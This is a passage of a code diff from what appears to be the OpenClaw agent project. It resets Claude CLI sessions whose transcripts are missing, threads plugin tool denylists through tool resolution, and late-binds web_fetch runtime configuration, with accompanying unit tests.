CliBackendPreparedExecution,
|
||||
@@ -29,6 +30,7 @@ import {
|
||||
import { CLI_AUTH_EPOCH_VERSION, resolveCliAuthEpoch } from "../cli-auth-epoch.js";
|
||||
import { resolveCliBackendConfig } from "../cli-backends.js";
|
||||
import { hashCliSessionText, resolveCliSessionReuse } from "../cli-session.js";
|
||||
import { claudeCliSessionTranscriptHasContent } from "../command/attempt-execution.helpers.js";
|
||||
import { resolveHeartbeatPromptForSystemPrompt } from "../heartbeat-system-prompt.js";
|
||||
import {
|
||||
resolveBootstrapMaxChars,
|
||||
@@ -51,7 +53,7 @@ import {
|
||||
loadCliSessionHistoryMessages,
|
||||
loadCliSessionReseedMessages,
|
||||
} from "./session-history.js";
|
||||
import type { PreparedCliRunContext, RunCliAgentParams } from "./types.js";
|
||||
import type { CliReusableSession, PreparedCliRunContext, RunCliAgentParams } from "./types.js";
|
||||
|
||||
const prepareDeps = {
|
||||
makeBootstrapWarn: makeBootstrapWarnImpl,
|
||||
@@ -62,6 +64,9 @@ const prepareDeps = {
|
||||
resolveOpenClawReferencePaths: async (
|
||||
params: Parameters<typeof import("../docs-path.js").resolveOpenClawReferencePaths>[0],
|
||||
) => (await import("../docs-path.js")).resolveOpenClawReferencePaths(params),
|
||||
// Surfaced as a dep so tests can stub the on-disk Claude CLI transcript probe
|
||||
// without touching ~/.claude/projects.
|
||||
claudeCliSessionTranscriptHasContent,
|
||||
};
|
||||
|
||||
export function setCliRunnerPrepareTestDeps(overrides: Partial<typeof prepareDeps>): void {
|
||||
@@ -256,19 +261,36 @@ export async function prepareCliRunContext(
|
||||
...(preparedBackendEnv ? { env: preparedBackendEnv } : {}),
|
||||
...(preparedBackendCleanup ? { cleanup: preparedBackendCleanup } : {}),
|
||||
};
|
||||
const reusableCliSession = params.cliSessionBinding
|
||||
? resolveCliSessionReuse({
|
||||
binding: params.cliSessionBinding,
|
||||
authProfileId: effectiveAuthProfileId,
|
||||
authEpoch,
|
||||
authEpochVersion: CLI_AUTH_EPOCH_VERSION,
|
||||
extraSystemPromptHash,
|
||||
mcpConfigHash: preparedBackendFinal.mcpConfigHash,
|
||||
mcpResumeHash: preparedBackendFinal.mcpResumeHash,
|
||||
})
|
||||
: params.cliSessionId
|
||||
? { sessionId: params.cliSessionId }
|
||||
: {};
|
||||
// Pre-flight: if a saved Claude CLI sessionId points at a transcript that no
|
||||
// longer exists on disk (e.g. update.run aborted mid-swap, Claude CLI was
|
||||
// reinstalled, or the projects tree was manually pruned), `claude --resume`
|
||||
// hangs or fails outside the cli-runner session_expired path. The persisted
|
||||
// binding then never gets refreshed, causing every subsequent turn to retry
|
||||
// the same dead sessionId. Drop the binding here so this turn starts fresh
|
||||
// and the post-run flow writes the new sessionId back via setCliSessionBinding.
|
||||
const candidateClaudeCliSessionId =
|
||||
params.cliSessionBinding?.sessionId?.trim() || params.cliSessionId?.trim() || undefined;
|
||||
const claudeCliTranscriptMissing =
|
||||
candidateClaudeCliSessionId !== undefined &&
|
||||
isClaudeCliProvider(params.provider) &&
|
||||
!(await prepareDeps.claudeCliSessionTranscriptHasContent({
|
||||
sessionId: candidateClaudeCliSessionId,
|
||||
}));
|
||||
const reusableCliSession: CliReusableSession = claudeCliTranscriptMissing
|
||||
? { invalidatedReason: "missing-transcript" }
|
||||
: params.cliSessionBinding
|
||||
? resolveCliSessionReuse({
|
||||
binding: params.cliSessionBinding,
|
||||
authProfileId: effectiveAuthProfileId,
|
||||
authEpoch,
|
||||
authEpochVersion: CLI_AUTH_EPOCH_VERSION,
|
||||
extraSystemPromptHash,
|
||||
mcpConfigHash: preparedBackendFinal.mcpConfigHash,
|
||||
mcpResumeHash: preparedBackendFinal.mcpResumeHash,
|
||||
})
|
||||
: params.cliSessionId
|
||||
? { sessionId: params.cliSessionId }
|
||||
: {};
|
||||
if (reusableCliSession.invalidatedReason) {
|
||||
cliBackendLog.info(
|
||||
`cli session reset: provider=${params.provider} reason=${reusableCliSession.invalidatedReason}`,
|
||||
|
||||
@@ -78,7 +78,12 @@ export type CliPreparedBackend = {
|
||||
|
||||
export type CliReusableSession = {
|
||||
sessionId?: string;
|
||||
invalidatedReason?: "auth-profile" | "auth-epoch" | "system-prompt" | "mcp";
|
||||
invalidatedReason?:
|
||||
| "auth-profile"
|
||||
| "auth-epoch"
|
||||
| "system-prompt"
|
||||
| "mcp"
|
||||
| "missing-transcript";
|
||||
};
|
||||
|
||||
export type PreparedCliRunContext = {
|
||||
|
||||
@@ -1,7 +1,10 @@
|
||||
import { selectApplicableRuntimeConfig } from "../config/config.js";
|
||||
import {
|
||||
getRuntimeConfigSnapshot,
|
||||
getRuntimeConfigSourceSnapshot,
|
||||
} from "../config/runtime-snapshot.js";
|
||||
import type { OpenClawConfig } from "../config/types.openclaw.js";
|
||||
import { resolvePluginTools } from "../plugins/tools.js";
|
||||
import { getActiveSecretsRuntimeSnapshot } from "../secrets/runtime.js";
|
||||
import { normalizeDeliveryContext } from "../utils/delivery-context.js";
|
||||
import { listProfilesForProvider } from "./auth-profiles.js";
|
||||
import type { AuthProfileStore } from "./auth-profiles/types.js";
|
||||
@@ -14,6 +17,7 @@ import type { AnyAgentTool } from "./tools/common.js";
|
||||
|
||||
type ResolveOpenClawPluginToolsOptions = OpenClawPluginToolOptions & {
|
||||
pluginToolAllowlist?: string[];
|
||||
pluginToolDenylist?: string[];
|
||||
currentChannelId?: string;
|
||||
currentThreadTs?: string;
|
||||
currentMessageId?: string | number;
|
||||
@@ -28,6 +32,27 @@ type ResolveOpenClawPluginToolsOptions = OpenClawPluginToolOptions & {
|
||||
authProfileStore?: AuthProfileStore;
|
||||
};
|
||||
|
||||
function resolveApplicablePluginRuntimeConfig(
|
||||
inputConfig?: OpenClawConfig,
|
||||
): OpenClawConfig | undefined {
|
||||
const runtimeConfig = getRuntimeConfigSnapshot() ?? undefined;
|
||||
if (!runtimeConfig) {
|
||||
return inputConfig;
|
||||
}
|
||||
if (!inputConfig || inputConfig === runtimeConfig) {
|
||||
return runtimeConfig;
|
||||
}
|
||||
const runtimeSourceConfig = getRuntimeConfigSourceSnapshot() ?? undefined;
|
||||
if (!runtimeSourceConfig) {
|
||||
return inputConfig;
|
||||
}
|
||||
return selectApplicableRuntimeConfig({
|
||||
inputConfig,
|
||||
runtimeConfig,
|
||||
runtimeSourceConfig,
|
||||
});
|
||||
}
|
||||
|
||||
export function resolveOpenClawPluginToolsForOptions(params: {
|
||||
options?: ResolveOpenClawPluginToolsOptions;
|
||||
resolvedConfig?: OpenClawConfig;
|
||||
@@ -45,12 +70,7 @@ export function resolveOpenClawPluginToolsForOptions(params: {
|
||||
});
|
||||
|
||||
const resolveCurrentRuntimeConfig = () => {
|
||||
const currentRuntimeSnapshot = getActiveSecretsRuntimeSnapshot();
|
||||
return selectApplicableRuntimeConfig({
|
||||
inputConfig: params.resolvedConfig ?? params.options?.config,
|
||||
runtimeConfig: currentRuntimeSnapshot?.config,
|
||||
runtimeSourceConfig: currentRuntimeSnapshot?.sourceConfig,
|
||||
});
|
||||
return resolveApplicablePluginRuntimeConfig(params.resolvedConfig ?? params.options?.config);
|
||||
};
|
||||
const authProfileStore = params.options?.authProfileStore;
|
||||
const pluginTools = resolvePluginTools({
|
||||
@@ -62,6 +82,7 @@ export function resolveOpenClawPluginToolsForOptions(params: {
|
||||
}),
|
||||
existingToolNames: params.existingToolNames ?? new Set<string>(),
|
||||
toolAllowlist: params.options?.pluginToolAllowlist,
|
||||
toolDenylist: params.options?.pluginToolDenylist,
|
||||
allowGatewaySubagentBinding: params.options?.allowGatewaySubagentBinding,
|
||||
...(authProfileStore
|
||||
? {
|
||||
|
||||
@@ -1,5 +1,6 @@
|
||||
import { afterEach, describe, expect, it, vi } from "vitest";
|
||||
import type { OpenClawConfig } from "../config/config.js";
|
||||
import { resetConfigRuntimeState, setRuntimeConfigSnapshot } from "../config/config.js";
|
||||
import { activateSecretsRuntimeSnapshot, clearSecretsRuntimeSnapshot } from "../secrets/runtime.js";
|
||||
import { resolveOpenClawPluginToolsForOptions } from "./openclaw-plugin-tools.js";
|
||||
|
||||
@@ -15,6 +16,7 @@ describe("createOpenClawTools browser plugin integration", () => {
|
||||
afterEach(() => {
|
||||
hoisted.resolvePluginTools.mockReset();
|
||||
clearSecretsRuntimeSnapshot();
|
||||
resetConfigRuntimeState();
|
||||
});
|
||||
|
||||
it("keeps the browser tool returned by plugin resolution", () => {
|
||||
@@ -193,6 +195,48 @@ describe("createOpenClawTools browser plugin integration", () => {
|
||||
expect(capturedRuntimeConfig).toBe(resolvedRunConfig);
|
||||
});
|
||||
|
||||
it("does not let a source-less pinned config snapshot override explicit plugin tool config", () => {
|
||||
const pinnedRuntimeConfig = {
|
||||
plugins: {
|
||||
allow: ["old-plugin"],
|
||||
},
|
||||
} as OpenClawConfig;
|
||||
const explicitConfig = {
|
||||
plugins: {
|
||||
allow: ["browser"],
|
||||
},
|
||||
tools: {
|
||||
experimental: {
|
||||
planTool: true,
|
||||
},
|
||||
},
|
||||
} as OpenClawConfig;
|
||||
let capturedRuntimeConfig: OpenClawConfig | undefined;
|
||||
let getRuntimeConfig: (() => OpenClawConfig | undefined) | undefined;
|
||||
hoisted.resolvePluginTools.mockImplementation((params: unknown) => {
|
||||
const context = (
|
||||
params as {
|
||||
context?: {
|
||||
runtimeConfig?: OpenClawConfig;
|
||||
getRuntimeConfig?: () => OpenClawConfig | undefined;
|
||||
};
|
||||
}
|
||||
).context;
|
||||
capturedRuntimeConfig = context?.runtimeConfig;
|
||||
getRuntimeConfig = context?.getRuntimeConfig;
|
||||
return [];
|
||||
});
|
||||
setRuntimeConfigSnapshot(pinnedRuntimeConfig);
|
||||
|
||||
resolveOpenClawPluginToolsForOptions({
|
||||
options: { config: explicitConfig },
|
||||
resolvedConfig: explicitConfig,
|
||||
});
|
||||
|
||||
expect(capturedRuntimeConfig).toBe(explicitConfig);
|
||||
expect(getRuntimeConfig?.()).toBe(explicitConfig);
|
||||
});
|
||||
|
||||
it("exposes a live runtime config getter to plugin tool factories", () => {
|
||||
const sourceConfig = {
|
||||
plugins: {
|
||||
@@ -218,23 +262,7 @@ describe("createOpenClawTools browser plugin integration", () => {
|
||||
).context?.getRuntimeConfig;
|
||||
return [];
|
||||
});
|
||||
activateSecretsRuntimeSnapshot({
|
||||
sourceConfig,
|
||||
config: firstRuntimeConfig,
|
||||
authStores: [],
|
||||
warnings: [],
|
||||
webTools: {
|
||||
search: {
|
||||
providerSource: "none",
|
||||
diagnostics: [],
|
||||
},
|
||||
fetch: {
|
||||
providerSource: "none",
|
||||
diagnostics: [],
|
||||
},
|
||||
diagnostics: [],
|
||||
},
|
||||
});
|
||||
setRuntimeConfigSnapshot(firstRuntimeConfig, sourceConfig);
|
||||
|
||||
resolveOpenClawPluginToolsForOptions({
|
||||
options: { config: sourceConfig },
|
||||
@@ -243,23 +271,7 @@ describe("createOpenClawTools browser plugin integration", () => {
|
||||
|
||||
expect(getRuntimeConfig?.()).toStrictEqual(firstRuntimeConfig);
|
||||
|
||||
activateSecretsRuntimeSnapshot({
|
||||
sourceConfig,
|
||||
config: nextRuntimeConfig,
|
||||
authStores: [],
|
||||
warnings: [],
|
||||
webTools: {
|
||||
search: {
|
||||
providerSource: "none",
|
||||
diagnostics: [],
|
||||
},
|
||||
fetch: {
|
||||
providerSource: "none",
|
||||
diagnostics: [],
|
||||
},
|
||||
diagnostics: [],
|
||||
},
|
||||
});
|
||||
setRuntimeConfigSnapshot(nextRuntimeConfig, sourceConfig);
|
||||
|
||||
expect(getRuntimeConfig?.()).toStrictEqual(nextRuntimeConfig);
|
||||
expect(getRuntimeConfig?.()?.plugins?.entries?.["memory-core"]?.enabled).toBe(false);
|
||||
|
||||
@@ -276,6 +276,24 @@ describe("optional media tool factory planning", () => {
|
||||
});
|
||||
});
|
||||
|
||||
it("applies global tool policy before optional media factories run", () => {
|
||||
const config: OpenClawConfig = { tools: { deny: ["pdf"] } };
|
||||
installSnapshot(config, [
|
||||
createPlugin({
|
||||
id: "media-owner",
|
||||
contracts: { mediaUnderstandingProviders: ["anthropic"] },
|
||||
setupProviders: [{ id: "anthropic", envVars: ["ANTHROPIC_API_KEY"] }],
|
||||
}),
|
||||
]);
|
||||
|
||||
expect(
|
||||
__testing.resolveOptionalMediaToolFactoryPlan({
|
||||
config,
|
||||
authStore: createAuthStore(["anthropic"]),
|
||||
}).pdf,
|
||||
).toBe(false);
|
||||
});
|
||||
|
||||
it("applies wildcard deny patterns to optional factory planning", () => {
|
||||
const config: OpenClawConfig = {};
|
||||
installSnapshot(config, [
|
||||
|
||||
@@ -94,6 +94,11 @@ function isToolAllowedByFactoryPolicy(params: {
|
||||
});
|
||||
}
|
||||
|
||||
function mergeFactoryPolicyList(...lists: Array<string[] | undefined>): string[] | undefined {
|
||||
const merged = lists.flatMap((list) => (Array.isArray(list) ? list : []));
|
||||
return merged.length > 0 ? Array.from(new Set(merged)) : undefined;
|
||||
}
|
||||
|
||||
function resolveImageToolFactoryAvailable(params: {
|
||||
config?: OpenClawConfig;
|
||||
agentDir?: string;
|
||||
@@ -165,25 +170,27 @@ function resolveOptionalMediaToolFactoryPlan(params: {
|
||||
toolDenylist?: string[];
|
||||
}): OptionalMediaToolFactoryPlan {
|
||||
const defaults = params.config?.agents?.defaults;
|
||||
const toolAllowlist = mergeFactoryPolicyList(params.config?.tools?.allow, params.toolAllowlist);
|
||||
const toolDenylist = mergeFactoryPolicyList(params.config?.tools?.deny, params.toolDenylist);
|
||||
const allowImageGenerate = isToolAllowedByFactoryPolicy({
|
||||
toolName: "image_generate",
|
||||
allowlist: params.toolAllowlist,
|
||||
denylist: params.toolDenylist,
|
||||
allowlist: toolAllowlist,
|
||||
denylist: toolDenylist,
|
||||
});
|
||||
const allowVideoGenerate = isToolAllowedByFactoryPolicy({
|
||||
toolName: "video_generate",
|
||||
allowlist: params.toolAllowlist,
|
||||
denylist: params.toolDenylist,
|
||||
allowlist: toolAllowlist,
|
||||
denylist: toolDenylist,
|
||||
});
|
||||
const allowMusicGenerate = isToolAllowedByFactoryPolicy({
|
||||
toolName: "music_generate",
|
||||
allowlist: params.toolAllowlist,
|
||||
denylist: params.toolDenylist,
|
||||
allowlist: toolAllowlist,
|
||||
denylist: toolDenylist,
|
||||
});
|
||||
const allowPdf = isToolAllowedByFactoryPolicy({
|
||||
toolName: "pdf",
|
||||
allowlist: params.toolAllowlist,
|
||||
denylist: params.toolDenylist,
|
||||
allowlist: toolAllowlist,
|
||||
denylist: toolDenylist,
|
||||
});
|
||||
const explicitImageGeneration = hasExplicitToolModelConfig(defaults?.imageGenerationModel);
|
||||
const explicitVideoGeneration = hasExplicitToolModelConfig(defaults?.videoGenerationModel);
|
||||
@@ -442,6 +449,7 @@ export function createOpenClawTools(
|
||||
config: options?.config,
|
||||
sandboxed: options?.sandboxed,
|
||||
runtimeWebFetch: runtimeWebTools?.fetch,
|
||||
lateBindRuntimeConfig: true,
|
||||
});
|
||||
options?.recordToolPrepStage?.("openclaw-tools:web-fetch-tool");
|
||||
const messageTool = options?.disableMessageTool
|
||||
|
||||
@@ -649,6 +649,7 @@ export function createOpenClawCodingTools(options?: {
|
||||
allowHostBrowserControl: sandbox ? sandbox.browserAllowHostControl : true,
|
||||
sandboxed: !!sandbox,
|
||||
pluginToolAllowlist,
|
||||
pluginToolDenylist,
|
||||
currentChannelId: options?.currentChannelId,
|
||||
currentThreadTs: options?.currentThreadTs,
|
||||
currentMessageId: options?.currentMessageId,
|
||||
|
||||
@@ -6,21 +6,35 @@ import { createWebFetchTool } from "./web-fetch.js";
|
||||
const { resolveWebFetchDefinitionMock } = vi.hoisted(() => ({
|
||||
resolveWebFetchDefinitionMock: vi.fn(),
|
||||
}));
|
||||
const runtimeState = vi.hoisted(() => ({
|
||||
activeSecretsRuntimeSnapshot: null as null | { config: unknown },
|
||||
activeRuntimeWebToolsMetadata: null as null | Record<string, unknown>,
|
||||
}));
|
||||
|
||||
vi.mock("../../web-fetch/runtime.js", () => ({
|
||||
resolveWebFetchDefinition: resolveWebFetchDefinitionMock,
|
||||
}));
|
||||
vi.mock("../../secrets/runtime.js", () => ({
|
||||
getActiveSecretsRuntimeSnapshot: () => runtimeState.activeSecretsRuntimeSnapshot,
|
||||
}));
|
||||
vi.mock("../../secrets/runtime-web-tools-state.js", () => ({
|
||||
getActiveRuntimeWebToolsMetadata: () => runtimeState.activeRuntimeWebToolsMetadata,
|
||||
}));
|
||||
|
||||
describe("web_fetch provider fallback normalization", () => {
|
||||
const priorFetch = global.fetch;
|
||||
|
||||
beforeEach(() => {
|
||||
resolveWebFetchDefinitionMock.mockReset();
|
||||
runtimeState.activeSecretsRuntimeSnapshot = null;
|
||||
runtimeState.activeRuntimeWebToolsMetadata = null;
|
||||
});
|
||||
|
||||
afterEach(() => {
|
||||
global.fetch = priorFetch;
|
||||
vi.restoreAllMocks();
|
||||
runtimeState.activeSecretsRuntimeSnapshot = null;
|
||||
runtimeState.activeRuntimeWebToolsMetadata = null;
|
||||
});
|
||||
|
||||
it("re-wraps and truncates provider fallback payloads before caching or returning", async () => {
|
||||
@@ -124,4 +138,87 @@ describe("web_fetch provider fallback normalization", () => {
|
||||
expect(details.url).toBe("https://example.com/fallback");
|
||||
expect(details.finalUrl).toBe("https://example.com/fallback");
|
||||
});
|
||||
|
||||
it("late-binds provider fallback config and runtime metadata from the active runtime snapshot", async () => {
|
||||
global.fetch = withFetchPreconnect(
|
||||
vi.fn(async () => {
|
||||
throw new Error("network failed");
|
||||
}),
|
||||
);
|
||||
const runtimeConfig = {
|
||||
tools: {
|
||||
web: {
|
||||
fetch: {
|
||||
provider: "firecrawl",
|
||||
maxChars: 640,
|
||||
},
|
||||
},
|
||||
},
|
||||
} as OpenClawConfig;
|
||||
runtimeState.activeSecretsRuntimeSnapshot = { config: runtimeConfig };
|
||||
runtimeState.activeRuntimeWebToolsMetadata = {
|
||||
fetch: {
|
||||
providerConfigured: "firecrawl",
|
||||
providerSource: "configured",
|
||||
selectedProvider: "firecrawl",
|
||||
selectedProviderKeySource: "config",
|
||||
diagnostics: [],
|
||||
},
|
||||
diagnostics: [],
|
||||
};
|
||||
resolveWebFetchDefinitionMock.mockReturnValue({
|
||||
provider: { id: "firecrawl" },
|
||||
definition: {
|
||||
description: "firecrawl",
|
||||
parameters: {},
|
||||
execute: async () => ({
|
||||
text: "runtime fallback body ".repeat(200),
|
||||
}),
|
||||
},
|
||||
});
|
||||
|
||||
const tool = createWebFetchTool({
|
||||
config: {
|
||||
tools: {
|
||||
web: {
|
||||
fetch: {
|
||||
provider: "stale",
|
||||
maxChars: 200,
|
||||
},
|
||||
},
|
||||
},
|
||||
} as OpenClawConfig,
|
||||
sandboxed: false,
|
||||
runtimeWebFetch: {
|
||||
providerConfigured: "stale",
|
||||
providerSource: "configured",
|
||||
selectedProvider: "stale",
|
||||
selectedProviderKeySource: "config",
|
||||
diagnostics: [],
|
||||
},
|
||||
lateBindRuntimeConfig: true,
|
||||
});
|
||||
|
||||
const result = await tool?.execute?.("call-provider-fallback", {
|
||||
url: "https://example.com/fallback",
|
||||
});
|
||||
const details = result?.details as {
|
||||
wrappedLength?: number;
|
||||
externalContent?: Record<string, unknown>;
|
||||
};
|
||||
|
||||
expect(details.wrappedLength).toBeGreaterThan(200);
|
||||
expect(details.wrappedLength).toBeLessThanOrEqual(640);
|
||||
expect(details.externalContent).toMatchObject({
|
||||
provider: "firecrawl",
|
||||
});
|
||||
expect(resolveWebFetchDefinitionMock).toHaveBeenCalledWith(
|
||||
expect.objectContaining({
|
||||
config: runtimeConfig,
|
||||
runtimeWebFetch: expect.objectContaining({
|
||||
selectedProvider: "firecrawl",
|
||||
}),
|
||||
}),
|
||||
);
|
||||
});
|
||||
});
|
||||
|
||||
@@ -34,6 +34,7 @@ import {
|
||||
resolveTimeoutSeconds,
|
||||
writeCache,
|
||||
} from "./web-shared.js";
|
||||
import { resolveWebFetchToolRuntimeContext } from "./web-tool-runtime-context.js";
|
||||
|
||||
const EXTRACT_MODES = ["markdown", "text"] as const;
|
||||
|
||||
@@ -615,32 +616,13 @@ export function createWebFetchTool(options?: {
|
||||
config?: OpenClawConfig;
|
||||
sandboxed?: boolean;
|
||||
runtimeWebFetch?: RuntimeWebFetchMetadata;
|
||||
lateBindRuntimeConfig?: boolean;
|
||||
lookupFn?: LookupFn;
|
||||
}): AnyAgentTool | null {
|
||||
const fetch = resolveFetchConfig(options?.config);
|
||||
if (!resolveFetchEnabled({ fetch, sandboxed: options?.sandboxed })) {
|
||||
return null;
|
||||
}
|
||||
const readabilityEnabled = resolveFetchReadabilityEnabled(fetch);
|
||||
const userAgent =
|
||||
(fetch && "userAgent" in fetch && typeof fetch.userAgent === "string" && fetch.userAgent) ||
|
||||
DEFAULT_FETCH_USER_AGENT;
|
||||
const maxResponseBytes = resolveFetchMaxResponseBytes(fetch);
|
||||
let providerFallbackResolved = false;
|
||||
let providerFallbackCache: WebFetchProviderFallback;
|
||||
const resolveProviderFallback = async () => {
|
||||
if (!providerFallbackResolved) {
|
||||
const { resolveWebFetchDefinition } = await loadWebFetchRuntime();
|
||||
providerFallbackCache = resolveWebFetchDefinition({
|
||||
config: options?.config,
|
||||
sandboxed: options?.sandboxed,
|
||||
runtimeWebFetch: options?.runtimeWebFetch,
|
||||
preferRuntimeProviders: true,
|
||||
});
|
||||
providerFallbackResolved = true;
|
||||
}
|
||||
return providerFallbackCache;
|
||||
};
|
||||
return {
|
||||
label: "Web Fetch",
|
||||
name: "web_fetch",
|
||||
@@ -648,28 +630,68 @@ export function createWebFetchTool(options?: {
|
||||
"Fetch and extract readable content from a URL (HTML → markdown/text). Use for lightweight page access without browser automation.",
|
||||
parameters: WebFetchSchema,
|
||||
execute: async (_toolCallId, args) => {
|
||||
const { config, preferRuntimeProviders, runtimeWebFetch } = resolveWebFetchToolRuntimeContext(
|
||||
{
|
||||
config: options?.config,
|
||||
lateBindRuntimeConfig: options?.lateBindRuntimeConfig,
|
||||
runtimeWebFetch: options?.runtimeWebFetch,
|
||||
},
|
||||
);
|
||||
const executionFetch = resolveFetchConfig(config);
|
||||
if (!resolveFetchEnabled({ fetch: executionFetch, sandboxed: options?.sandboxed })) {
|
||||
throw new Error("web_fetch is disabled.");
|
||||
}
|
||||
const readabilityEnabled = resolveFetchReadabilityEnabled(executionFetch);
|
||||
const userAgent =
|
||||
(executionFetch &&
|
||||
"userAgent" in executionFetch &&
|
||||
typeof executionFetch.userAgent === "string" &&
|
||||
executionFetch.userAgent) ||
|
||||
DEFAULT_FETCH_USER_AGENT;
|
||||
const maxResponseBytes = resolveFetchMaxResponseBytes(executionFetch);
|
||||
let providerFallbackResolved = false;
|
||||
let providerFallbackCache: WebFetchProviderFallback;
|
||||
const resolveProviderFallback = async () => {
|
||||
if (!providerFallbackResolved) {
|
||||
const { resolveWebFetchDefinition } = await loadWebFetchRuntime();
|
||||
providerFallbackCache = resolveWebFetchDefinition({
|
||||
config,
|
||||
sandboxed: options?.sandboxed,
|
||||
runtimeWebFetch,
|
||||
preferRuntimeProviders,
|
||||
});
|
||||
providerFallbackResolved = true;
|
||||
}
|
||||
return providerFallbackCache;
|
||||
};
|
||||
const params = args as Record<string, unknown>;
|
||||
const url = readStringParam(params, "url", { required: true });
|
||||
const extractMode = readStringParam(params, "extractMode") === "text" ? "text" : "markdown";
|
||||
const maxChars = readNumberParam(params, "maxChars", { integer: true });
|
||||
const maxCharsCap = resolveFetchMaxCharsCap(fetch);
|
||||
const maxCharsCap = resolveFetchMaxCharsCap(executionFetch);
|
||||
const result = await runWebFetch({
|
||||
url,
|
||||
extractMode,
|
||||
maxChars: resolveMaxChars(
|
||||
maxChars ?? fetch?.maxChars,
|
||||
maxChars ?? executionFetch?.maxChars,
|
||||
DEFAULT_FETCH_MAX_CHARS,
|
||||
maxCharsCap,
|
||||
),
|
||||
maxResponseBytes,
|
||||
maxRedirects: resolveMaxRedirects(fetch?.maxRedirects, DEFAULT_FETCH_MAX_REDIRECTS),
|
||||
timeoutSeconds: resolveTimeoutSeconds(fetch?.timeoutSeconds, DEFAULT_TIMEOUT_SECONDS),
|
||||
cacheTtlMs: resolveCacheTtlMs(fetch?.cacheTtlMinutes, DEFAULT_CACHE_TTL_MINUTES),
|
||||
maxRedirects: resolveMaxRedirects(
|
||||
executionFetch?.maxRedirects,
|
||||
DEFAULT_FETCH_MAX_REDIRECTS,
|
||||
),
|
||||
timeoutSeconds: resolveTimeoutSeconds(
|
||||
executionFetch?.timeoutSeconds,
|
||||
DEFAULT_TIMEOUT_SECONDS,
|
||||
),
|
||||
cacheTtlMs: resolveCacheTtlMs(executionFetch?.cacheTtlMinutes, DEFAULT_CACHE_TTL_MINUTES),
|
||||
userAgent,
|
||||
readabilityEnabled,
|
||||
config: options?.config,
|
||||
useTrustedEnvProxy: resolveFetchUseTrustedEnvProxy(fetch),
|
||||
ssrfPolicy: fetch?.ssrfPolicy,
|
||||
config,
|
||||
useTrustedEnvProxy: resolveFetchUseTrustedEnvProxy(executionFetch),
|
||||
ssrfPolicy: executionFetch?.ssrfPolicy,
|
||||
lookupFn: options?.lookupFn,
|
||||
resolveProviderFallback,
|
||||
});
|
||||
|
||||
123
src/agents/tools/web-tool-runtime-context.ts
Normal file
123
src/agents/tools/web-tool-runtime-context.ts
Normal file
@@ -0,0 +1,123 @@
|
||||
import type { OpenClawConfig } from "../../config/types.openclaw.js";
|
||||
import { resolveManifestContractOwnerPluginId } from "../../plugins/plugin-registry.js";
|
||||
import { getActiveRuntimeWebToolsMetadata } from "../../secrets/runtime-web-tools-state.js";
|
||||
import type {
|
||||
RuntimeWebFetchMetadata,
|
||||
RuntimeWebSearchMetadata,
|
||||
} from "../../secrets/runtime-web-tools.types.js";
|
||||
import { getActiveSecretsRuntimeSnapshot } from "../../secrets/runtime.js";
|
||||
|
||||
type WebProviderKind = "fetch" | "search";
|
||||
|
||||
type WebProviderRuntimeMetadata = RuntimeWebFetchMetadata | RuntimeWebSearchMetadata;
|
||||
|
||||
type WebProviderContract = "webFetchProviders" | "webSearchProviders";
|
||||
|
||||
type ResolvedWebToolRuntimeContext<TMetadata extends WebProviderRuntimeMetadata> = {
|
||||
config?: OpenClawConfig;
|
||||
preferRuntimeProviders: boolean;
|
||||
runtimeMetadata?: TMetadata;
|
||||
};
|
||||
|
||||
function resolveConfiguredWebProviderId(
|
||||
config: OpenClawConfig | undefined,
|
||||
kind: WebProviderKind,
|
||||
): string {
|
||||
const provider = config?.tools?.web?.[kind]?.provider;
|
||||
return typeof provider === "string" ? provider.trim().toLowerCase() : "";
|
||||
}
|
||||
|
||||
function resolveRuntimeWebProviderId(metadata: WebProviderRuntimeMetadata | undefined): string {
|
||||
return metadata?.selectedProvider ?? metadata?.providerConfigured ?? "";
|
||||
}
|
||||
|
||||
function resolveWebProviderContract(kind: WebProviderKind): WebProviderContract {
|
||||
return kind === "fetch" ? "webFetchProviders" : "webSearchProviders";
|
||||
}
|
||||
|
||||
function shouldPreferRuntimeProviders(params: {
|
||||
config?: OpenClawConfig;
|
||||
kind: WebProviderKind;
|
||||
providerSelectionId: string;
|
||||
}): boolean {
|
||||
if (!params.providerSelectionId) {
|
||||
return true;
|
||||
}
|
||||
return !resolveManifestContractOwnerPluginId({
|
||||
contract: resolveWebProviderContract(params.kind),
|
||||
value: params.providerSelectionId,
|
||||
origin: "bundled",
|
||||
config: params.config,
|
||||
});
|
||||
}
|
||||
|
||||
function resolveWebToolRuntimeContext<TMetadata extends WebProviderRuntimeMetadata>(params: {
|
||||
capturedConfig?: OpenClawConfig;
|
||||
capturedRuntimeMetadata?: TMetadata;
|
||||
kind: WebProviderKind;
|
||||
lateBindRuntimeConfig?: boolean;
|
||||
}): ResolvedWebToolRuntimeContext<TMetadata> {
|
||||
const activeWebTools =
|
||||
params.lateBindRuntimeConfig === true ? getActiveRuntimeWebToolsMetadata() : null;
|
||||
const runtimeMetadata = (activeWebTools?.[params.kind] ?? params.capturedRuntimeMetadata) as
|
||||
| TMetadata
|
||||
| undefined;
|
||||
const config =
|
||||
params.lateBindRuntimeConfig === true
|
||||
? (getActiveSecretsRuntimeSnapshot()?.config ?? params.capturedConfig)
|
||||
: params.capturedConfig;
|
||||
const providerSelectionId =
|
||||
resolveRuntimeWebProviderId(runtimeMetadata) ||
|
||||
resolveConfiguredWebProviderId(config, params.kind);
|
||||
return {
|
||||
config,
|
||||
preferRuntimeProviders: shouldPreferRuntimeProviders({
|
||||
config,
|
||||
kind: params.kind,
|
||||
providerSelectionId,
|
||||
}),
|
||||
runtimeMetadata,
|
||||
};
|
||||
}
|
||||
|
||||
export function resolveWebSearchToolRuntimeContext(params: {
|
||||
config?: OpenClawConfig;
|
||||
lateBindRuntimeConfig?: boolean;
|
||||
runtimeWebSearch?: RuntimeWebSearchMetadata;
|
||||
}): ResolvedWebToolRuntimeContext<RuntimeWebSearchMetadata> & {
|
||||
runtimeWebSearch?: RuntimeWebSearchMetadata;
|
||||
} {
|
||||
const resolved = resolveWebToolRuntimeContext({
|
||||
capturedConfig: params.config,
|
||||
capturedRuntimeMetadata: params.runtimeWebSearch,
|
||||
kind: "search",
|
||||
lateBindRuntimeConfig: params.lateBindRuntimeConfig,
|
||||
});
|
||||
return {
|
||||
config: resolved.config,
|
||||
preferRuntimeProviders: resolved.preferRuntimeProviders,
|
||||
runtimeMetadata: resolved.runtimeMetadata,
|
||||
runtimeWebSearch: resolved.runtimeMetadata,
|
||||
};
|
||||
}
|
||||
|
||||
export function resolveWebFetchToolRuntimeContext(params: {
|
||||
config?: OpenClawConfig;
|
||||
lateBindRuntimeConfig?: boolean;
|
||||
